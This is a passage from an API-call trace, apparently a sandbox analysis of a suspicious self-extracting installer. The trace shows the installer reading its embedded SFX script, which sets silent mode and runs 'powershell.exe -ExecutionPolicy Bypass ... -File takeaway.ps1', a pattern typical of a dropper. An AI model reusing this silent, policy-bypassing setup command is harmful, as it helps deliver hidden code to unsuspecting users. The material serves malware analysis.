uCmd=0x2) returned 0x202c6 [0057.863] GetWindowTextW (in: hWnd=0x202c6, lpString=0x6f5018, nMaxCount=1024 | out: lpString="") returned 0 [0057.863] GetWindow (hWnd=0x202c6, uCmd=0x2) returned 0x302b6 [0057.863] GetWindowTextW (in: hWnd=0x302b6, lpString=0x6f5018, nMaxCount=1024 | out: lpString="Installation progress") returned 21 [0057.863] SetWindowTextW (hWnd=0x302b6, lpString="Installation progress") returned 1 [0057.863] GetWindow (hWnd=0x302b6, uCmd=0x2) returned 0x402c0 [0057.863] GetWindowTextW (in: hWnd=0x402c0, lpString=0x6f5018, nMaxCount=1024 | out: lpString="") returned 0 [0057.863] GetWindow (hWnd=0x402c0, uCmd=0x2) returned 0x202ca [0057.863] GetWindowTextW (in: hWnd=0x202ca, lpString=0x6f5018, nMaxCount=1024 | out: lpString="") returned 0 [0057.863] GetWindow (hWnd=0x202ca, uCmd=0x2) returned 0x202c2 [0057.863] GetWindowTextW (in: hWnd=0x202c2, lpString=0x6f5018, nMaxCount=1024 | out: lpString="Install") returned 7 [0057.863] SetWindowTextW (hWnd=0x202c2, lpString="Install") returned 1 [0057.863] GetWindow (hWnd=0x202c2, uCmd=0x2) returned 0x202c4 [0057.863] GetWindowTextW (in: hWnd=0x202c4, lpString=0x6f5018, nMaxCount=1024 | out: lpString="Cancel") returned 6 [0057.863] SetWindowTextW (hWnd=0x202c4, lpString="Cancel") returned 1 [0057.863] GetWindow (hWnd=0x202c4, uCmd=0x2) returned 0x0 [0057.863] GetProcAddress (hModule=0x77260000, lpProcName="SendMessageW") returned 0x772707d0 [0057.863] SendMessageW (hWnd=0x201cc, Msg=0x80, wParam=0x1, lParam=0x1501d9) returned 0x0 [0057.865] GetProcAddress (hModule=0x77260000, lpProcName="SendDlgItemMessageW") returned 0x77269370 [0057.865] SendDlgItemMessageW (hDlg=0x201cc, nIDDlgItem=108, Msg=0x172, wParam=0x0, lParam=0x36050514) returned 0x0 [0057.868] GetProcAddress (hModule=0x77260000, lpProcName="GetDC") returned 0x772933c0 [0057.868] GetDC (hWnd=0x0) returned 0x60100ce [0057.868] LoadLibraryExA (lpLibFileName="GDI32.dll", hFile=0x0, dwFlags=0x0) returned 0x747e0000 [0057.868] GetProcAddress (hModule=0x747e0000, lpProcName="GetDeviceCaps") returned 0x747e5c60 [0057.868] GetDeviceCaps (hdc=0x60100ce, index=88) returned 96 [0057.868] GetProcAddress (hModule=0x77260000, lpProcName="ReleaseDC") returned 0x7728a480 [0057.868] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0057.868] GetDC (hWnd=0x0) returned 0x60100ce [0057.868] GetDeviceCaps (hdc=0x60100ce, index=90) returned 96 [0057.868] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0057.868] GetProcAddress (hModule=0x77260000, lpProcName="GetDlgItem") returned 0x772693b0 [0057.868] GetDlgItem (hDlg=0x201cc, nIDDlgItem=104) returned 0x5002a [0057.868] SendMessageW (hWnd=0x5002a, Msg=0x435, wParam=0x0, lParam=0x400000) returned 0x0 [0057.868] GetCurrentDirectoryW (in: nBufferLength=0x800, lpBuffer=0x6fe394 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0057.868] GetProcAddress (hModule=0x77260000, lpProcName="GetDlgItem") returned 0x772693b0 [0057.868] GetDlgItem (hDlg=0x201cc, nIDDlgItem=102) returned 0x70044 [0057.868] SetWindowTextW (hWnd=0x70044, lpString="C:\\Users\\FD1HVy\\Desktop") returned 1 [0057.869] GetProcAddress (hModule=0x77260000, lpProcName="GetClassNameW") returned 0x77290310 [0057.869] GetClassNameW (in: hWnd=0x70044, lpClassName=0x6f57a0, nMaxCount=80 | out: lpClassName="ComboBox") returned 8 [0057.869] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="ComboBox", cchCount1=-1, lpString2="EDIT", cchCount2=-1) returned 1 [0057.869] GetProcAddress (hModule=0x77260000, lpProcName="FindWindowExW") returned 0x77282840 [0057.869] FindWindowExW (hWndParent=0x70044, hWndChildAfter=0x0, lpszClass="EDIT", lpszWindow=0x0) returned 0x6006a [0057.869] LoadLibraryExA (lpLibFileName="SHLWAPI.dll", hFile=0x0, dwFlags=0x0) returned 0x75a20000 [0057.869] GetProcAddress (hModule=0x75a20000, lpProcName="SHAutoComplete") returned 0x75a46580 [0057.870] SHAutoComplete (hwndEdit=0x6006a, dwFlags=0x10) returned 0x0 [0058.742] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10c0) returned 0xa48620 [0058.742] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10c0) returned 0xa496e8 [0058.742] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x72b0) returned 0xa520f8 [0058.743] GetCurrentProcess () returned 0xffffffff [0058.743] GetProcessAffinityMask (in: hProcess=0xffffffff, lpProcessAffinityMask=0x6eda60, lpSystemAffinityMask=0x6eda5c | out: lpProcessAffinityMask=0x6eda60, lpSystemAffinityMask=0x6eda5c) returned 1 [0058.743] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\yjigrp.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\yjigrp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x27c [0058.743] ReadFile (in: hFile=0x27c, lpBuffer=0x6efcc0, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x6eda34, lpOverlapped=0x0 | out: lpBuffer=0x6efcc0*, lpNumberOfBytesRead=0x6eda34*=0x7, lpOverlapped=0x0) returned 1 [0058.743] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x200000) returned 0x3f99020 [0058.747] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x6eda64*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6eda64*=0) returned 0x7 [0058.747] ReadFile (in: hFile=0x27c, lpBuffer=0x3f99020, nNumberOfBytesToRead=0x1ffff0, lpNumberOfBytesRead=0x6eda34, lpOverlapped=0x0 | out: lpBuffer=0x3f99020*, lpNumberOfBytesRead=0x6eda34*=0x5f3d9, lpOverlapped=0x0) returned 1 [0058.766] SetFilePointer (in: hFile=0x27c, lDistanceToMove=259584, lpDistanceToMoveHigh=0x6eda54*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6eda54*=0) returned 0x3f600 [0058.766] ReadFile (in: hFile=0x27c, lpBuffer=0x6efcc0, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x6eda34, lpOverlapped=0x0 | out: lpBuffer=0x6efcc0*, lpNumberOfBytesRead=0x6eda34*=0x7, lpOverlapped=0x0) returned 1 [0058.766] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0x3f99020 | out: hHeap=0xa10000) returned 1 [0058.773] ReadFile (in: hFile=0x27c, lpBuffer=0x6efcc7, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6eda34, lpOverlapped=0x0 | out: lpBuffer=0x6efcc7*, lpNumberOfBytesRead=0x6eda34*=0x1, lpOverlapped=0x0) returned 1 [0058.773] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x6eda58*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6eda58*=0) returned 0x3f608 [0058.773] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa248e8 [0058.773] ReadFile (in: hFile=0x27c, lpBuffer=0xa248e8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x6eb91c, lpOverlapped=0x0 | out: lpBuffer=0xa248e8*, lpNumberOfBytesRead=0x6eb91c*=0x7, lpOverlapped=0x0) returned 1 [0058.773] ReadFile (in: hFile=0x27c, lpBuffer=0xa248ef, nNumberOfBytesToRead=0xa, lpNumberOfBytesRead=0x6eb918, lpOverlapped=0x0 | out: lpBuffer=0xa248ef*, lpNumberOfBytesRead=0x6eb918*=0xa, lpOverlapped=0x0) returned 1 [0058.773] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa248e8 | out: hHeap=0xa10000) returned 1 [0058.773] SetFilePointer (in: hFile=0x27c, lDistanceToMove=259609, lpDistanceToMoveHigh=0x6eda50*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6eda50*=0) returned 0x3f619 [0058.773] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x6eda64*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6eda64*=0) returned 0x3f619 [0058.773] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x6eda58*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6eda58*=0) returned 0x3f619 [0058.773] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa24668 [0058.773] ReadFile (in: hFile=0x27c, lpBuffer=0xa24668, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x6eb91c, lpOverlapped=0x0 | out: lpBuffer=0xa24668*, lpNumberOfBytesRead=0x6eb91c*=0x7, lpOverlapped=0x0) returned 1 [0058.773] ReadFile (in: hFile=0x27c, lpBuffer=0xa2466f, nNumberOfBytesToRead=0x11, lpNumberOfBytesRead=0x6eb918, lpOverlapped=0x0 | out: lpBuffer=0xa2466f*, lpNumberOfBytesRead=0x6eb918*=0x11, lpOverlapped=0x0) returned 1 [0058.773] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa24668 | out: hHeap=0xa10000) returned 1 [0058.773] SetFilePointer (in: hFile=0x27c, lDistanceToMove=259787, lpDistanceToMoveHigh=0x6eda50*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6eda50*=0) returned 0x3f6cb [0058.773] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x6eda58*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6eda58*=0) returned 0x3f6cb [0058.773] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa24898 [0058.773] ReadFile (in: hFile=0x27c, lpBuffer=0xa24898, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x6eb91c, lpOverlapped=0x0 | out: lpBuffer=0xa24898*, lpNumberOfBytesRead=0x6eb91c*=0x7, lpOverlapped=0x0) returned 1 [0058.773] RtlReAllocateHeap (Heap=0xa10000, Flags=0x0, Ptr=0xa24898, Size=0x48) returned 0xa2aa00 [0058.773] ReadFile (in: hFile=0x27c, lpBuffer=0xa2aa07, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6eb918, lpOverlapped=0x0 | out: lpBuffer=0xa2aa07*, lpNumberOfBytesRead=0x6eb918*=0x26, lpOverlapped=0x0) returned 1 [0058.773] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa2aa00 | out: hHeap=0xa10000) returned 1 [0058.773] SetFilePointer (in: hFile=0x27c, lDistanceToMove=259609, lpDistanceToMoveHigh=0x6eda40*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6eda40*=0) returned 0x3f619 [0058.773] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x6eda84*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6eda84*=0) returned 0x3f619 [0058.773] SetFilePointer (in: hFile=0x27c, lDistanceToMove=259609, lpDistanceToMoveHigh=0x6eda70*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6eda70*=0) returned 0x3f619 [0058.773] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x6eda60*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x6eda60*=0) returned 0x3f619 [0058.774] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa24898 [0058.774] ReadFile (in: hFile=0x27c, lpBuffer=0xa24898, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x6eb924, lpOverlapped=0x0 | out: lpBuffer=0xa24898*, lpNumberOfBytesRead=0x6eb924*=0x7, lpOverlapped=0x0) returned 1 [0058.774] ReadFile (in: hFile=0x27c, lpBuffer=0xa2489f, nNumberOfBytesToRead=0x11, lpNumberOfBytesRead=0x6eb920, lpOverlapped=0x0 | out: lpBuffer=0xa2489f*, lpNumberOfBytesRead=0x6eb920*=0x11, lpOverlapped=0x0) returned 1 [0058.774] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa24898 | out: hHeap=0xa10000) returned 1 [0058.774] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x8003) returned 0xa593b0 [0058.775] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x8003) returned 0xa613c0 [0058.775] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1b8) returned 0xa479d0 [0058.775] CreateSemaphoreW (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=32, lpName=0x0) returned 0x280 [0058.775] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x284 [0058.775] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40000) returned 0xa693d0 [0058.779] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x9a) returned 0xa453d0 [0058.779] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0xb54) returned 0xa4a7b0 [0058.779] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40000) returned 0xaa93d8 [0058.779] ReadFile (in: hFile=0x27c, lpBuffer=0xaa93d8, nNumberOfBytesToRead=0x9a, lpNumberOfBytesRead=0x6df2c0, lpOverlapped=0x0 | out: lpBuffer=0xaa93d8*, lpNumberOfBytesRead=0x6df2c0*=0x9a, lpOverlapped=0x0) returned 1 [0058.779] GetProcAddress (hModule=0x77260000, lpProcName="PeekMessageW") returned 0x7728d180 [0058.779] PeekMessageW (in: lpMsg=0x6df2c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6df2c8) returned 1 [0058.780] GetProcAddress (hModule=0x77260000, lpProcName="GetMessageW") returned 0x7728fea0 [0058.780] GetMessageW (in: lpMsg=0x6df2c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x6df2c8) returned 1 [0058.780] GetProcAddress (hModule=0x77260000, lpProcName="TranslateMessage") returned 0x7728f900 [0058.780] TranslateMessage (lpMsg=0x6df2c8) returned 0 [0058.780] GetProcAddress (hModule=0x77260000, lpProcName="DispatchMessageW") returned 0x77284840 [0058.780] DispatchMessageW (lpMsg=0x6df2c8) returned 0x0 [0058.781] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0058.781] PeekMessageW (in: lpMsg=0x6df2c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6df2c8) returned 1 [0058.781] GetMessageW (in: lpMsg=0x6df2c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x6df2c8) returned 1 [0058.781] TranslateMessage (lpMsg=0x6df2c8) returned 0 [0058.781] DispatchMessageW (lpMsg=0x6df2c8) returned 0x0 [0058.781] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0058.781] PeekMessageW (in: lpMsg=0x6df2c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6df2c0) returned 0 [0058.781] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0058.781] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xaa93d8 | out: hHeap=0xa10000) returned 1 [0058.781] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa693d0 | out: hHeap=0xa10000) returned 1 [0058.782] ReleaseSemaphore (in: hSemaphore=0x280, lReleaseCount=32, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0058.783] CloseHandle (hObject=0x280) returned 1 [0058.783] CloseHandle (hObject=0x284) returned 1 [0058.783] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa479d0 | out: hHeap=0xa10000) returned 1 [0058.783] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa613c0 | out: hHeap=0xa10000) returned 1 [0058.783] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa593b0 | out: hHeap=0xa10000) returned 1 [0058.783] RtlReAllocateHeap (Heap=0xa10000, Flags=0x0, Ptr=0xa453d0, Size=0xe0) returned 0xa453d0 [0058.783] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x136) returned 0xa4b310 [0058.783] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa453d0 | out: hHeap=0xa10000) returned 1 [0058.783] SetFilePointer (in: hFile=0x27c, lDistanceToMove=259609, lpDistanceToMoveHigh=0x6eda60*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6eda60*=0) returned 0x3f619 [0058.783] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x134) returned 0xa453d0 [0058.783] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa4b310 | out: hHeap=0xa10000) returned 1 [0058.783] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa520f8 | out: hHeap=0xa10000) returned 1 [0058.784] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa48620 | out: hHeap=0xa10000) returned 1 [0058.784] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa496e8 | out: hHeap=0xa10000) returned 1 [0058.784] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa4a7b0 | out: hHeap=0xa10000) returned 1 [0058.784] CloseHandle (hObject=0x27c) returned 1 [0058.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0058.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0058.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0058.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0058.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0058.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0058.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0058.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0058.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0058.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0058.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0058.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0058.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0058.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0058.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0058.785] ExpandEnvironmentStringsW (in: lpSrc="powershell.exe -ExecutionPolicy Bypass -noLogo -noProfile -File takeaway.ps1 winhost", lpDst=0x6d7b84, nSize=0x1000 | out: lpDst="powershell.exe -ExecutionPolicy Bypass -noLogo -noProfile -File takeaway.ps1 winhost") returned 0x55 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0058.785] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x6d7b84, nSize=0x1000 | out: lpDst="1") returned 0x2 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 2 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0058.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0058.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0058.786] ExpandEnvironmentStringsW (in: lpSrc="powershell.exe -ExecutionPolicy Bypass -noLogo -noProfile -File takeaway.ps1 winhost", lpDst=0x6d7b84, nSize=0x1000 | out: lpDst="powershell.exe -ExecutionPolicy Bypass -noLogo -noProfile -File takeaway.ps1 winhost") returned 